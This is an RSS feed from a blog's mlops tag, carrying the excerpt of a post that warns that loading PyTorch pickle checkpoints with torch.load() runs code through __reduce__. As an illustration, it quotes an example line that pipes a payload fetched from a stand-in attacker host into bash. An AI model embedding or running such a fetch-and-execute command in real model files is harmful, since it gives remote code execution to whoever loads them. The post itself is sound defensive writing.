<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Mlops on BRYSGO</title><link>https://www.brysgo.com/tags/mlops/</link><description>Recent content in Mlops on BRYSGO</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Fri, 14 Aug 2026 14:05:24 +0000</lastBuildDate><atom:link href="https://www.brysgo.com/tags/mlops/index.xml" rel="self" type="application/rss+xml"/><item><title>A Model File Is Not a Spreadsheet</title><link>https://www.brysgo.com/post/2026-08-14-a-model-file-is-not-a-spreadsheet/</link><pubDate>Fri, 14 Aug 2026 14:05:24 +0000</pubDate><guid>https://www.brysgo.com/post/2026-08-14-a-model-file-is-not-a-spreadsheet/</guid><description>&lt;p&gt;When you call &lt;code&gt;torch.load()&lt;/code&gt; on a downloaded checkpoint, you&amp;rsquo;re not reading data — you&amp;rsquo;re executing code written by a stranger.&lt;/p&gt;&#10;&lt;p&gt;This isn&amp;rsquo;t a metaphor. It&amp;rsquo;s a literal description of how PyTorch&amp;rsquo;s default serialization format works. The &lt;code&gt;.pt&lt;/code&gt; and &lt;code&gt;.bin&lt;/code&gt; files that flow through ML pipelines are pickle files, and pickle&amp;rsquo;s entire model is that deserialization means execution. When you load one, Python calls the &lt;code&gt;__reduce__&lt;/code&gt; method on every embedded object, which can return any callable with any arguments. An attacker who knows this can embed &lt;code&gt;os.system(&amp;quot;curl attacker.com/payload | bash&amp;quot;)&lt;/code&gt; directly into what looks like a weight tensor. Your data science team runs &lt;code&gt;torch.load()&lt;/code&gt;, and a shell opens.&lt;/p&gt;</description></item></channel></rss>